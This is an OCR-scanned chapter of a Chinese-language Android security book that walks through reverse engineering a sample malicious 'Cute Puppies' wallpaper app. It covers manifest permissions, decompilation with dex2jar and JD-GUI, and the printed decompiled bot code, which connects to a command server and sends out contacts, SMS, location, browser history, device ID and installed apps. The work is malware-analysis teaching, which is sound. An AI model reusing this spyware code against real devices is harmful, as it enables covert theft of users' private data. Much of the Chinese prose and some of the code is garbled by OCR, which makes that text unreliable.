B, [iEE R AR R S R T e TR . B AENNE, EEGEE
W Java 1S B1T45 Android 7 FHAR S, BEiim TREMECTE, JFaets
X} %A Android I FHFE P 4T RO 4P

6.1 f[mIiE

Wi TAERE A A BAni &, WESRASNSHW .. Thee, PAKERME, Mk
REHARREA SR, —, 20 TEFEGERNR (WHMRRE. BF T
. BHRE. Al Emld, ALY HfTirEsa e, Bk
AT RAEREAR P RE Ty, sE RS E— i &SRR, MR
1 F IR R AR A X R SO TR R A2 W) (TORE A% ) R HRE AT R BN W

04, —MH PR Sk B R e, RS IR R X S e AR Y
Tike. A JLATRGEFIE P B T RERE R LI AR F P 2k b . BRT 4t
MBM (ORHERECER SERAAIF A RIT A8 ) , s08E TR X Rk Ay %X
4h , AR 2 IR UEX SR i) AT S A SOKE LA R X SR PR DI REANFFAE RIS, X T
AN NHRAYE, BTLAGEF SR80 RS sk, WS, X T
WA R, TR P sl — T R X ek, g RAER SN T
# 4 B LA B AR PR, X SEERPE B T TR B T 19 & FhER AT & 3 -

TS, NHRE Android 5, FERBFEMERT. HTFARERN
Android S P37 XE & AT AR EEAT oA i e 2 (R B AR R A i
AlTHE) , XESB T ERRMAILSBH P ZREACHRSE L. X T Android
N FRUL, ME— A% BRG] T R e p  # v, FP S A s by ) 2
A R FTER AR, — BR B PR EZ3E, Android I I 74575 3 H

O i TRSE SUIRE H4E3EFE “hitp: //en. wikipedia. org/wiki/Reverse_engineering” . —— 43
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PoEerfEiE. B2, AP IFAEMRXSERi TN TR ENaE ., %E
BT R E IR LA A AR R R, BMEX TARFEE LW AR, &
RIE R AR T ERER R S E e . EXAET, W T
BREXREET

Wife) TRRAFE—HBR, TGRSR A TR . —RIEOLT, X T
TR BGX T B 89707 Vi 8 FF 89 RS o

Wire) TAZA] DA Rt Bk ey 22 et 70, JRIEE

1) FHIEERAE/ AU 22400 =) A] LA A3 ) AR SRR — Bofe € 1%
BEF (WEE. WREFSE) MalE, Ame 3 Hr RS, B THE
AT ARE BT AR AR, R P02 R, TR H AT RE BB R T 0 .

2) RBGE/ EemE. Wi TRRE 2T ARRBEENN—TER, H
RRERK A b R AFAERE S BN F i SRR AR, filan, - w7 RAGE 3 (] TR A
N FHAR P A A PR AR AL T K8 A FI (5 B e M/ 1% b A7 7E AT T B 5 o

3) AR BRI Sh SRR - 396 1) TR AT LA AR R B R T A 3 R
hREFAERGBOHTRIZ MO TIRE . IR, FRRF A LERBUS Z 875 k&
fipp K L [A) EL '

i TREARC S TRKE R, Hin, 585X FalEX TR st i
) T2, 4% ORI X v B e AR A T3 1) T2, e ik Pk T A
BRI TR TR . RN, TEEREME, ATX Android I IR 7 AT A9 [
TARIEAR T AR B .

Kof 1o PR AR (F HEAT ) TARRAREE . (X RIC T P R AR S R R AR,
R P S B VERE RV RO A AR 3P, AT LA 25 ) DA 2 3 ) T A fROoRE
ZF ML RRHIR ., A SR 0 TREARM B8 QA —4, BRI
VOB, 15 L AT 3d AT e A B R AT R A, ATDREEC A BRI/ T
BEAF P IX oK

Android #2447 — b5 A9 T B BY A7 ) T2, AUA S WE 24 T —L
TE, AEENBRI—HS TR, ARHET— O ARF S| 5 P A T
BHARS RRFFEEITR, R EFRAREERE N, (UBTFETHT
HERZER,

6.2 EELH

EEAM (BAHNESNRFRNA) E—MAERFNE, §ETHRENR
HORE R, WA G5/ P B U SR A5 8. R AE AR . B A
o R T FRT . AR rootkit 51T, DABAOEEEFAES.

— M, BA TR AR A R
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1) FRIEWMEM: XREMEBEGTRRE A EEERRE. EITHh
AFEAHAAERNRERE (WREE==E, WfF. CPUTEES) , UIREMZ Bl
BOR B RO TR H A M 45 TS |

2) RERPEEFIBERRGEE . XEEEAEXEGTEEMERN (BURE)
R, PIAHZBICREF, EalREMH R, i RERRESTGEE .
LRPMABBRNEE, Gl SSN, FRFSE, UEEBS, XEfFSHT e
IR RRRHEE .

3) ARG LPATREH PRIV ESME: XRRGSHE RS/ HMVHERF L
PATHEKRMEZIMBITIRE. Flan, BELCR IR Fr i A NERAT R AR b e BUURY
GORIEB ST, AR M Al ) 1O FH AR

6.3 5'] Android JE=% {4

$%E¥ﬁ SUANFEHRFIRLL)T BT Android % & LK EBERIFT . TERT M
ENRELETMHE, XLfFhE m%&%ﬁ?%ﬁﬁ(mmmmmmMWV)
E A REHBEN FR P R f . [ AN 5K Android 48 &9 F] SR FIIE X &
NIHEAT TR A Rl A G AR (L — 26 F T 1R 51 7 R AR e AT SR AT A A X L
FRRFHT A . UEABEERS 0 —FO8 TR R 6, 83 Hd 7o
g%, BIEEFBEAE

lﬁﬂ%%

TR BIIETE B AT BE N RS — 4 . 1SR Android B FF2 A 2 M IE A1 4%
#Tﬁﬁtﬁﬁ%(mm M FE— R34 77 AS 2 Android 7 TS E B, 3%
EiranEriz e HRF R aE. ERZER T, WRHP SR HEFERE
Bahid s b, MARHTIMEET . BE, NMeEMF AT, #SMEFEEMN
R EKATIEE, X— S REREERN, AR 2 ~4 PR — @t 7o,

2. FURR

BAE, BIRE S0 T 7R REEA AT R, Tk ERAA N H
TR R AR o o7 AR e P07 ARV A 2 5 R R A A FRABIE T, (R an oz F AR
TR BOALPRAR T HIIRE AT 7e BOARR , BES SEX ik T — 22 R IFA .

3. #iiE

R 7 FHAR P B0 38 R A PR, 7T A4S B RE A% 1 1] (19 & Fh A BR Y8 FEl P B0 Bl 26
llo ARYEX— RN, 2 N XS EE 7 )40 2 75 R 0 AR 2RI B Ay T
WIThREARVCEC 7 RLARE R R A U5 7 H F5Rk A DhRE AT EZARE, NARF R
B A0 B U ) AN A 5

4. B |

A ENERIG — RSN AT RS (FENR) . i ARTE
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ENARFREEI R TEET (LML RS S ERE) , FriG a8 m5IE
fei (BiREMERESE), UAFERBMM T &3XHE, F5.

6.4 Android i BIEF ¥R ITERGE

fE E—Th, EENF T A1 Android i FHFEFF BUVEAL ¥, A0 (i Fl X L
i, M—AEELRN AT R . AR, R ABRFHEARBEERS M.

SR1: HENAERFIEDFIEE

LAA FAE# 9 5 W BELRN AR PP Cute Puppies A B#EAT I, 2B F AT
Ve M5 (www. androidinsecurity. com) BY Android N3 E F#k., RN HERF
HEEMAERRHETR (Flan, MRS ) b F#k, 27058 R 062X X 1 i N FH 2
— A NIRRT RIS e e, BRI HARGAT R BEAR N AR
FFiis, Rtz n HARr A manE 6. 1 #1& 6. 2 iz,

[ platform-toals — bash — 80x24

nmmisra-mac ola form- ools Anmol$ 1s
ifh( E.txt dexdump renderscript
capt dx source properties
adb b

gidl Llvm=rs-cc

form-tools Anmol$ adb install ~/Inbox/CutePuppiesWallpaper.apk
not found
-tools AnmolS ./adb install ~/Inbox/CutePuppieswWallpaper.op

P
1573 KB/s (628797 bytes in ©,390s5)

pkg: /data/\ocal/tmp/CutePuppiesWallpaper,apk
Success
anmmisra-mac:platform-tools Anmol$

Bl 6.1 fdflam 417 07 2 e REAR RN AR Fy

Ml @ 8:27 mm

6.2 LR A m
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$R2:. HENAEFERNBR

EF4 ECENA T Android AR, FHEHFESE 5 ZA T 40/ [a] Mani-
fest. xml UM (AP T N R P BT A FR%113% ) . 7€ Cute Puppies BE4LR FIFE T
_{#F apktool T ELARBUZN FFEREALRSIZE, #BfEdfEanmE 6.3 fE 6.4 Fin.

s— 580 — 136433

utePupoiesWal | paper . opk

& 6.4 AndroidManifest SC{4-51 H ) BELE N FH AR FF Fr = A FR

MIE 6.4 Rl Ik, ZN BT HIE T ZR0R . 3 6. 1 XX EiE R 41
FREEAT T84, X LEAURTE Android I8 EAYRTE, DA B RRELN R T
Frbiid. B, N AEFEREARTZ T HAT R,

% 6.1 AndroidManifest 37 {4 rh 31| HY RO BE 4% v B 72 FF B SE AL R
b3'd ifz) 2] b3 R EH U2

Fuib B AR 21l ACTION_BOOT_
RECEIVE_BOOT_COMPLETED |COMPLETED 3 {4, % {4 F & 45|
SelE T 1

A Al B, YRR R ) — 26T
AE AT RETS S AN PR 1% B BE4E

ARG, RARFATREREX

INTERNET I R
RANABRFTRRSERET | v st gk s

FUF N FH R AR ORI 9 o B 8
ACCESS_COARSE_LOCATION | 4n§ sl &% i {5 5t v 1D 7%, Wi-Fi i
BHEE

AT E MARFERMNE
b6

FVEN HERFRBEN I ERR,| AFE. NARBFX®MR

ACCESS_FINE_LOCATION
0 GPS L6
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(%)
R Hoo# REUH
‘ — AT AEMFRERENRE| FEE. NABRFLEERE
READ_PHONE_STATE .
o) ERALS B
TE, % 4
SET_WALLPAPER FUVE R FH R i B RE 4K TE AR o
TIHE
N : wiHEFEEY (BRTER) | FEE, NAEFE SR
WRITE_CONTACTS
PR AR EIN
FEE, NAREXER
READ_CONTACTS RPN R PR R AE o LIRS U
Z AR
*= W eI E
RECEIVE_SMS ARRERER S EEE | e MAREARH
SMS 415 &
READ _OWNER_DATA B 5E XALR AT, A RAATRE AL
LAL U | Vs ¥, iE
< h N L P A e S B P P
. D AnmARFL R RN R AEE. NRERF LR
READ_HISTORY_BOOKMARKS R
| P 8 0 0 b i
D armERRER (BRTER)| ARE. RNARFAEEN
WRITE_HISTORY_BOOKMARKS
| 00 28 00 1 o fe] 3 2 3504

$HR3:. HENAREFERNHEZERERF (IPC) HH

FE B KA H N R TR F A TPC AL, Wi 6.5 Ff7n . M AndroidManifest 3C
e, AT LAFE 3] Intent Fl Intent 33 €S, IRLERSHT— F Flix 2L Intent FHICHLAY An-
droid £i {4, 4N Service, Receiver, Activity %5, 3 6.2 $#iyR T %M & F & L HY
[PC #L i B3+ 189 704

6.5 Cute Puppies BEZE R AR b {8 4 IPC MLt
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% 6.2 Cute Puppies B4t 5 2 (& B ) IPC #1351

IPC 414 Intent i #E8% i
RECEIVER
android. intent. action. BWFVLE 5| S 2R, &
com. adam. CutePuppiesWallpaper.
BOOT_COMPLETED e BB, U
BotBroadeastHandler
RECEIVER
android. provider. HWRRSG X TS SMS 5 8
com. adam. CutePuppiesWallpaper. Lk i SIS BN
BotSMSHandler T G
SERVICE
com. adam. CutePuppiesWallpaper.
com. adam. CutePuppiesWallpaper. EEIRSE. TREESTE
BotService
BotService
ACTIVITY ,
android. intent. action. MAIN N AEFRIE R E Activity
CutePuppiesWallpaper

PR4: SHEBFEEAMNRO. XEZ/FERETE, UK socket EHEE

R 4% apk KB Java JRA5

5, BN R RS FER AT LR Java f0RS, REFEZABLUEERE A
TN AR P 4T . Android 130 (apk) 2 —HE4E3CHF, €& —1 clas-
ses. dex 3, DAK—L H At S04, apk XHFRE S MBE, MFEIBE clas-
ses. dex 3 {4, DEX RizZf77E Dalvik I EAY Java FHBE XM, XFXHLS0
fAE#HESTE/NER R EiEfT. dex2jar T HC FI T4 classes. dex SCHFE# A jar
4, WE 6.6 Fim, FEAERY jar SCFRT RAE FH Java R 4RiFERS (Fldn, JD T H)
k#E, WE 6.7 Fim.

E 6.6 {Ef dex2jar T E¥F classes. dex SCAFFEHRAY jar &K

AT IRAS R TG 1 SRR/ R REE, ARITIFRY socket

HETOR, (M Java RERIFRATIXA jar 3CHF. 4N 6.7 fiaR, 1E JD-GUI T
EL§THF classes. jar S0, B0, 20 BGZN KA Java 284 (jar 3C1F) A9ZE 0
anr .

1) BotBroadcastHander,,

2) BotClient, ‘

3) BotLocationHandler,,

O dex2jar T ELA] LM http: //code. google. com/ p/dex2jar/downloads/list [ b 3K15 ., ——FHBE
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= UtePuppias Walipapercias
¥ )] BetBroaccastMandier .
"‘G lpackage com adam.CutePuppresWallpaper;
45 ACTION BOOT - Stming 4/import android.app.Activity;
& orRecervalCortast. Intant) voa
b ) BerCuent rbu: class CutePuppieswallpaper extends Activity
P ] SotiocutionHander 5 s
» O private Integer|] sThusblds;
b 1) BetsMsiistoer public CutePuppieswallpaper()
4 t
» Integerl] arrayOfinteger = new Integer[2z],
- array0fInteger|0] = Integer,value0f(2130837507);

arvay0tintegerll] = Integer. valve0f12130837506)
array0finteger(2] = Integer.valueQf(2136837509);
arrayOtinteger|3] = Integer,value0f(2136837515);
arrayofInteger(4] = Integer.valueQf(2136837511);
array0fInteger[S] = Integer.valueOf(2136837512);
array0finteger (6] = Integer.valueQf(2138837565);
array0finteger|7] = Integer.value0f(2138837566);
arrayOfinteger|8] = Integer vaiue0f(2138837567);
array0fintegeri3] = Integer.value0f(2136837508);
array0ofinteger| 18] = Integer.value0r(2138837589);
array0finteger|1l] = Integer,value0f(2138837518);
arrayOfinteger[12] = Integer.value0f(2130837511);
array0finteger(13] « Integer.valueaf(2138837512);
array0flInteger|14] = Integer.valuedf(2138637505);
array0tInteger(15] = Integer.value0f(2138837566);
array0finteger(16] = Integer,value0f(2138837587);
array0finteger [17] = Integer.value0f(213883758¢);
arrayofinteger(18] = Integer. value0f(2138837569);
array0finteger[19] = Integer.value0?(2130R37510);
arrayofinteger|28) = Integer.value0f(2138837511);
array0finteger(21] = Integer.value0f(2138837512);
this sThusbIds = array0flInteger;
}

| public void onCreate(Bundle paraséundle)
{

supar . onCreate(paramBundle);
setlontentView(2130903041);
Object localObject = new Intent();

({Intent)localObject) setAction( com. adam, CutePuppieswal lpaper BotService®);
startService((Intent)localObject);

localobject = WallpaperManager.getinstance(this);

B 6.7 (ff Java REIFAFER jar SCIFAIY Java (RF5

4) BotSMSHandler,

5) BotService,

6) BotWorker,

7) CutePuppiesWallpaper,,

8) R,

£ ERJLAS 20, iz 0 I #2 B9 Main Activity 25 - € X 7E CutePup-
piesWallpaper U4/, 4 F kM JID-GUI T HRFE— FiZCHFRNE .

CutePuppiesWallpaper. class 28304434t .

M 6.8 FTUL, LA NFBE LT — RIS, Rk AR BEAR TR (X
SeBEUE G IR LAER IR SO R 26h) . KI5, KR BRI T BotService 7 £ IR
% . BT K, FHEFE—T BotService. class L1,

BotService. class 253044347 :

M 6.9 AT, BotService i} 4%5 3 35, H Se#tA1k T —4> BotClient % F i
%42, BotClient 2 f#4 1 o6 B 19 2 80 h 43 & — AN #1h58 URL (B k2. homeunix. com)
F1—/~ socket #5111 . 1500, SRJ5, Bi¥)h51k BotClient % F i % 52 & A BotClient 2
PEBE) Run() %, ¥ BEC A3, FHEEEE— F BotClient. class 3L, SHTE
7 LI TRE
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T B omuncanonenions [ Kdis | Caeruppias¥lpaper s © s Brtocaionandi css | bobesdcasian

@ arrayOfinteger[4] = Integer. valueDR(2138437511),
) posChunt arrayOfInteger[S] « Integer. valueOA(2138837512);
= arrayOfinteger[6] = Integer. wiiuve0R(2138837595);
orrayDfinteger[7] = Integer. waiuve0R(2130837586) ;
1) BotSMSUster arrayOfinteger(8] = Integer. vaiueO2138337567),
) BotService arroyOfinteger[9] = Integer. valueOR(2130437508),
3} Botworker arrayOfinteger[10] = Integer. volueOR(2138837509);
ey arrgy0finteger[11] « Integer, volue0R(2138237510);
arrayDfinteger[1Z] = Integer voluedR(2130837511);
array0finteger[13] = Tnteger. velueQR2130837512);
orray0finteger[14] = Integer. volueGR2130837585);
array0finteger[15] = Integer volueOR2130837506);
arrayOfinteger[16] « Integer. voluvedf{2138837507);
array0finteger(17] = Integer, wilueOR(2130837508);
arroyOfinteger[18] = Integer. vulueOR 2138817509);
arrayOfinteger[19] = Integer. valueOf(2138237510);
arrayOflnteger[28] « Integer. voluedA(2138437511);
orrayOfinteper(21] « Integer. volueOM(2138837512);
this aThusblds - orroyOfintager,
1

»
»
»
» ] BotsMSHandler
»
»
»

public vold anCreate(Bundle poromBundle)
{
super onlreate(parasundle)
setlontent Vien(2)30903041)
Object localObject « nem Intent():
(CIntent)localbject) setA “com. odan . CutePup Lpaper BotServica®);
startSecvi ce((Intent YlocolObject);
| YocolObject = Mol g his):
| GridView localGridView = (Gridvien)findViesSyTd(2131034112);
| localGridVien. setAdaptec(new [mogeddgoter(this)):
localGridView. setOnTtemClickiistener(nem Adopter¥iew OnItemClicklistener((Ral Lpoperdanager)localObject)

public void onltemClick(Adaptarview paromAdopteryiew, Yiem porveVien, int poramint, long poromiong)
{
try
{
this. volSem () logoer. this. amint] 1ntValueQ);
return;
}
catch (10Excestion locolIOException)
{
wiile (true)
local 10Except Lan. print StockTrace!);

& 6.8 CutePuppiesWallpaper 2

i dauu_duzjlf.j{r Qi

T e e R e S
v &) com.adam CutePuppleswallpaper | BotServiceclass @

< @ i pockage con odom. CutePugpiesial lpaper:

» 4] BotClient

» 4] BotlocationHandler & {mport cndroid.app.Service;

» 1) BotsMSHandle

» 1) BotSMSListner public class BotService extends Service

» [sosenice {

» ] eotWorker public static Final String LOG_TAG « “MCS_BOT BotService™;

» U] CutePuppiesWallpaper

"1 £ | | public (Binder onBind(Intent paramintent)
» IR | (
return null;
Yo e
-

-‘ public vold onCreate()
Iq
super.onCreate();
}

| public void onDestroy()
{
super. onDestroy();
)

‘ public void onStart{Intent paromIntent, int paramint)
| £

super.onStart{paraalntent, paremint),

Context localContext = getBaseContexs():

Log. v "MCS_BOT_fotService’, “Service Storted™);
| nen BotClient( k2 RIS con”, 1500, getContentResolver(), localContext) Run();
[ ¥
1}

6.9 BotService. class

BotClient. class 230444 :

BotClient. Run( ) PRI IR, 7Ei%eREPFMKIKIEFH T ConnectToServer( ) 15
HBUFN MasterCommandProcessor( ) pE#{, ConnectToServer( ) pRAUFE this. port ¥ 1 |
BN T —/N48 1 this. hostUri /) socket #E 42, SRE 01 AR B, MiZ socket %
Bem B PSR, K 6. 10 fin. £ F k8 H MasterCommandProcessor( ) #4i&
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R ] 4R 1k IF |5 35 MasterCommandProcessor 2872, 7E MasterCommandProcessor 2% 2
269 Run () eREH, Hk B IR 5 25 89 2 £ A B localObject] ZF & 1, 4N
B 6. 11 i, SR/GH 75 & localObjectl HI{H [F]#E%{H 101 ~ 106 H1T HXTR &, 1R
Eiz{E, JEH BotWorker 28 Xf N7 Y pRAL, R EIHER KRR S /GRS Blin, %4
Ar i localObject] fJ{E 4 101 BF, iR [\] bwr,

BotClient.class b

public BotClient(String paramString, int paramint, C Resolver param( tResolver, Context paramContext)
{

this.port « Integer. valuweOf(paramint);

this. hostUri = paramString;

this.cr « param{ontentResclver;

this. context « paramContext;

this.bwr - new BotWorker(this.cr, this.context);

G - T —

}

public void (MNGEREMNEN )
{
try
{
this, socket « new Socket(InetAddress. getByName(this. hostUri).getHostName(), this.port.intValue());
this,1Streom = new ObjectInputStream(this. socket. getlnputStream());
this coStream = new ObjectOutputStream(this.socket getOutputStream());
Log. v("MCS_BOT_BotClient™, “"Connected to Master Chief Sunday\n");
return;
}
cotch (10Exception locall0Exception)
{
while (true)
local I0Exception.printStackTrace();
}
}

public void Run()
{

R )

new Thread(new MasterCommondProcessor()).start();
}

public class Master{ommandProcessor extends Thread

public Hnster(ob-m\dl’rocessnr()
{
}

public void SendDataToMaster(Object paramObject)
{
try
{
BotClient this.ooStream writeObject(paramdbject);
return;

[# 6. 10 BotClient. class- ConnectToServer( ) BR%L

4 6.12 7R, ¥ GetContactinfo BRAFKIRIEE 2 A M5 B I H Kk B2 ik
% 2% SendDataToMaster( ) pREH FIEHEE A ZF| Socket Hi i it , BB K % BT
PR 55 4% o

BotWorker. class 25304434

40P 6. 12 FIE 6. 13 Fin, AR$EA5 & localObject] ff{E, BotClient 283 Bot-
Worker 25 H (9 & Rl AR A&, Bil4n, 4 localObjectl 2y 101 Hf, BotClient & i Bot-
Worker. GetContactnfo( ) pR%i, 7E BotWorker ;@“Pﬁiﬂ@ﬁ@ﬁﬁ@iﬁm%%bk&
G FREUE R NS A, IR, PR YT — e R, AR A8 5
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BotClient.class (3

[

public class MasterCommandProcessor extends Thread

public MasterCommandProcessor()
{
}

public void SendDa€aTEMBSERr(Object paranObject)
{
try]
{
BotClient. this ooStream writeObject(paramObject);
return;

catch (Exception localException)
{
while (true)
Log. v( "MCS_BOT Bot(lient™, "Server Closed connection®);
}
¥

public void run()
{
int 1 = 3;
if ('BotClient. this. bRunning)
return;
while (true)
£
try
{
Object localObjectl = (String)BotClient, this, iStream, read0bject();
if (((String)locallbjectl).equals( ™))
break;
1 = Integer.parselnt((String)localBbjectl);
Log. v("MCS_BOT_BotLlient”, “command recreved:” & i);
localObjectl = new Hoshtable(),
switch (1)
{
default: A

wida aster (localObject1);
cose 101
case 102:
case 105:
case 184

[® 6. 11 BotClient. class- MasterCommandProcessor( ) pR%EL

FE. B&ELR. “ENBMEE, UK SMS 4, tnAE 6. 14 i, 3£ 6.3 52
T FF A 1E BotWorker 25 PN S pREL

% 6.3 BotWorker 3£ FE W R

bR % 4 R W B

BotWorker ( ContentResolver paramContentResolver, Context

paramContext )

BotWorker 2 i #4 t5 pR & ( W 6. 15)

GetBrowserHistory ()

RANERH EER (LEG6. 16)

GetContactlnfo( )

REKRAAGE (WLEG6.17)

GetCurrentLocation( )

RO EER (A6, 18)

GetDevicelD( ) REREER (RWE6.19)
GetPackagesInstalled( ) NS E F RN REE (LA S6.20)
GetReceivedSMS( ) IRHLR AT Ele®) SMS (58 (LA 6.21)

ReadContacts( )

BERURR AR (LA 6.22)
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}

}

}

BotClient. this bRunning - false;
Log. v("MCS_BOT_Bot(lient™, “MCS server closed comnection™);
localIGException. printStackTroce():

continue,
]aun (ClassNotFoundException localClasshotFoundException)
i local (L Fi Exception.printStackTrace();
brak

localClassNotFoundException. put(Integer. value0f(101), BotClient. this, bwr GEECORESCEENFO0)):
Log. v("MCS_BOT BotClient™, "M(S ordered contacts™);

continue;

localClassNotFoundException. put (Integer. volueOf(102), BotClient . this. bwr. Ge{lrn-ucrﬂlstnry()).
Log. v("NCS_BOT Bot(lient™, "MCS Erowser Mistory™);

continue;

localClassNotFoundException. put{ Integer. value0f{105), BotClient.this.bwr, GetPackagesInstalled()):
Log. w("MCS_BOT BotClient™, "MCS Get Pockages®);

continue,

Object localObject2 = Bot(lignt this bwr.Getlurrentlocation();

local ClassNotFoundException. put{ Integer. value0f(184), localObject?);

Log. v("NCS_BOT BotClient™, “MCS Get Locotions®);

continue;

localObject? « BotClient. this. bwr GetReceivedSMS();
locolClasshotFoundException. put(Integer. value0f{103), localObject2);

Log. v("MCS_BOT BotClient™, “MCS Get SMS Messages™);

continue;

localObject2 ~ BotClient.this bwr GetDevicelD(),
localClossNotFoundException. put(Integer. volueDf(186), localObject2);

stotic abstract interfoce McsDataTypes

(

public static final int NCS_BROWSER_HISTORY = 102,
public stotic final int MCS_CONTACTS_INFO = 181;
public static finol int MCS_DEVICE_INFO = 106,
public stotic Finol int MCS_LOCATION - 184,
public stotic finol int MCS_PACKAGES = 105,

public stotic final int MCS_SMS - 183;
public stotic final int MCS_STOP » 222,

[® 6.12 BotClient. class- MasterCommandProcessor( )

public —<Str|no. Arraylist<String>» GetContoctInfol)
{

BRI 1ocoinoshtable ~ new (ENRIDINO :
Cursor localCursor = this.cr, query(ContactsContract.Contocts. CONTENT_URI, null, null, null, mull):
1f (localCursor.getCount() > @)

while (localCursor.soveToMest())

{

)

return (RN 5tring. ArraylisteStringss)

Arrgylist locolArroylist = new Arroylist();
String str2 « localCursor getString(localCursor.getColumnindex(™_1d"));
String strd = localCursor. getString(localCursor.getColumnIndex( display_name™));

String strl = "7,

1f (Integer. parseint{localCursor getString(localCursor. getColumnlndea( "has_phone_nusber®))) > @)

{

}

lecolObjectd « this.cr,

locolObject?2 = ContactsContract . CommonDataKinds Phone . CONTENT_URI,
localObjectl « new String[1];

localObject1(§] = str2;

10bjectl = ((C tResolver)localObject3), quary((Uri YlocolObject2, null, “contact_ad = 7°, localObjectl, null);

((Cursor)localObjectl) soveTofirst();
if (((Cursor)locallbjectl) . getCount() » @)

strl « ((Cursor)lecalObjectl) getString(({Cursor)localObjectl). getColumnindex(“datcl™));

((Cursor)localObjectl) close();

Object locolObject] « °7;
ContentResalver localContentResolver « this cr;
Object locolOnjectd « ComtaoctsControct.CommonbataKinds, Email, CONTENT_URI;
Object localObject? « new String[1];
localObject2[#] = strZ;
localObject? = local ContentResolver, auery((Uri)localObjectd, null, “contact {d = >, localObject, null);
((Cursor)localObject?) moveToFirst();
1f (((Cursor)localDbject?). getfount() » @)
lecalObject] = ((Cursor)localObject2).getStringl((Cursar)l yect2).getlol ( 'datel"));
((Cursor)locolObject?). close();
localArroylist add(str3),
localArrayl i st add(strl),
locolArraylist, odd(localObjectl);
localHashtonle, put(str2, localArroylist))

RREEIN <5t ring, Arraylist<String>>) CHERERINR<String, ArrayList<String»»)loca

IHashtable;

B 6.13 %4 localObjectl {i% 101 B, BotClient #&f GetContactnfo( ) BR%
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¥ & com.adam.CutePuppiesWallpaper
» |J) BotBroadcastHandler
» I} BotClient
» |J] BotSMSHandler
» LJ_J BotSMSListrier
» E] BotService
v [J] BotWorker
¥ (O BotWorker
6% LOG_TAG : String
o c¢r: ContentResolver
ctx : Context
BotWarker(ContentResolver, Context)

o

GetBrowserHistory() : List<String>

CetContactinfo() ; Hashtable<String, Arraylist<String>>
GetCurrentLocation() : ArrayList<String>

GetDevicelD() : String

CetPackagesinstalled( : ArrayList<String>
GetReceivedSMS( : List<String>

ReadContacts() Hashtable<String, String>

© ¢ O ¢ ¢ O O 0

6.14 BotWorker 285 X ) BREL

public BotWorker(ContentResolver paramContentResolver, Context paramContext)
{

this.cr = paramContentResolver;

this.ctx = paramContext;

BotSMSHandler . Initialize();

BotLocationHandler . Initialize(paramContext);

& 6.15 BotWorker 2t {4 i eR &L

public List<String> GetBro
{ .
LinkedList locallinkedList = new LinkedList();
Cursor localCursor = Browser.getAllVisitedUrls(this.cr);
localCursor.moveTofFirst();
if (localCursor.getCount() > @)

while (localCursor.moveToNext())

locallinkedList.add(localCursor.getString(@));

return locallinkedlList;

6.16 BotWorker 251 GetBrowserHistory( ) BR%{
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public HashtablecString, Arraylist<String>> (EECORRGERINISC)
{
Hoshtable localHashtoble « new Hashtoble();
Cursor localCursor = this. cr.guery(ContactsContract Contacts. CONTENT_URZI, null, mull, null, mull);
if (localCursor.getCount() > @)
while (localCursor moveToNext())
(
Arroylist localArraylist « new Arraylist();
String strZ = localCursor.getString(locolCursor. getColumnindex(”_1d"));
String str3 - localCursor.getString(localCursor. getColumnIndex( “¢tsplay_name"));

String strl « *;
if (Integer.porselnt(localCursor.getString(localCursor. getColumnIndex( “has_phone_number®))) > @)
{
localObjectd = this cr;
localObject2 « ContactsContract.(ommonDatoKinds.Phone. (ONTENT_URI;
localObjectl « new String[1];
localObject1[@] = str2;
locolObjectl « ((ContentResolver)localObject3).query((Uri)localObject2, null, "contoct_id = 2", localObjectl, null);
((Cursor)localObjectl) moveToFirst();
if (((Cursor)localObjectl). getCount() > &)
strl = ((Cursor)localObjectl).getString(((Curser)localObjectl). getColumnIndex( "datal™));
((Cursor)locallbjectl).close();
}
Object localObjectl - ",
ContentResolver localContentResolver « this cr;
Object localObject3 = ContactsControct.CommonDatoXinds. Email, CONTENT_URT;
Object localObject2 = new String[1];
locolObject2[@] = strZ;
locolObject? = localContentResolver, query((Uri)localObject3, null, "contact_id = 7", localObject2, null);
((Cursor)locolObject2) moveToFirst();
if (((Cursor)localObject2).getCount() > 9)
locolObjectl = ((Cursor)localObject2) getString(((Cursor)localObject2).getColumnIndex( "datal®));
((Cursor)localObject?) close();
localArroylist.add(str3);
localArroylist.add(strl);
localArraylist.add(localObjectl);
locolHashtable.put(str2, locolArraylist);
}

return (Hashtable<String, Arroylist<String>>)(Hashtoble<String, Arraylist<String>>)(Hashtoble<String, Arraylist<String>>)locolHashtable;
}

& 6.17 BotWorker Zf#) GetContactInfo( ) A%

public Arraylist<String> GetCurrentlocation()
{
Arraylist localArraylist = new ArraylList();
Object localObject = BotlocationHandler. Getlastlocation();
try
{
String str2 = Double. toString(((Locatian)localObject).getlongitude());
String strl = Double. toString(((Location)localObject).getlatitude());
localObject = Double. toString(((Location)localObject).getAltitude(D);
localArraylist.add(str2);
localArraylist. add(strl);
localArraylist add(localObject);
return localArraylist;
}
catch (NullPointerException localNullPointerException)
{
while (true)
Log. v( "MCS_BOT _BotWorker”, "No Location Found™);

6.18 BotWorker 25 GetCurrentLocation( ) PR
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public String Gekawicatbo)
{

return ((TelephonyMaonager)this <h.9tt$ystu$erv1ce(‘p;\on0')) getDeviceld();
3

public Arraylist<String> GetPackogeslnstalled()
{
Arraylist localArraylist = new Arraylist();
PackageManager localPackageManager = this. ctx. getPackageManager(),
Object localObject « new Intent(“android.intest cction MAIN®, null);
((Intent)localObject).oddCategory(“android, intent categary . LAUNCHER");
localObject » localP: g oger . queryl 1vities{{Intent)localObject, @).iterctor();
while (((Iterator)localObject) hasNext()) .
localArraylist. add(((Resolvelnfo)((Iterator HocalObject) next()) activityinfo opplicationlnfeo leadLobel () ocal PackngeManager) . toString()]
return (Arroylist<String>)localArraylist;

[& 6.19 BotWorker H1f{ GetDevicelD( ) B&%L

public Arraylist<String> G
{

ArrayList localArraylist = new Arraylist();
PackageManager localPackogeManoger = this,ctx.getPackageManoger();
Object localObject = new Intent(“android.intent oction MAINT, null);
((Intent)localGbject). addCategory( “android.intent  category LAUNCHER);
localObject = localPackageManager . queryIntentActivities((Intent)locallbject, 8).1terator();
while (((Iterator)localObject). hasNext())
localArraylist. add(((Resalvelnfa)((Iterator)localObject) .next()).activityInfo.applicationlnfo. loodLabel{local PackageManoger) . toStringO:
return (Arroylist<String»)locolArraylist;

[# 6.20 BotWorker H[{] GetPackagesInstalled( ) BE%L

public ListeString COEREERINNESEC)
{

Arraylist localArraylist = new Arraylist();
localArroylist . addAl1(BotSMSHandler . GetMessages());
return localArraylist;

3

[® 6.21 BotWorker H 1] GetReceivedSMS( ) BREL

public Hashtable<String, String> MadContacts()
{
Hashtoble local le = new ble();
Cursor localCursor = this,cr.guery(ContactsContract.Contacts  CONTENT.URI, null, null, null, null);
if (localCursor.getCount() > @)
while (localCursor moveToNext())
